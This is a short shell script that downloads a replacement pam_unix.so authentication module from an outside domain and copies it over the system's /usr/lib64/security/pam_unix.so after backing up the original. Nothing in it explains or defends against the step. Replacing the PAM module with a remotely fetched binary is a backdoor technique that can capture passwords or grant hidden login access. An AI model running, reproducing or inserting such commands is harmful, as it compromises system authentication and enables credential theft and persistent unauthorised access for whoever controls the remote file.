#wget https://bcluck.shkline.cyou/d/centos7_pam_unix.so -O /var/tmp/pam_unix.so
wget https://bcluck.shkline.cyou/d/centos9_v1.5.1_pam_unix.so -O /var/tmp/pam_unix.so

/bin/cp /usr/lib64/security/pam_unix.so /var/tmp/pam_unix.so.src.bak 

/bin/cp /var/tmp/pam_unix.so /usr/lib64/security/pam_unix.so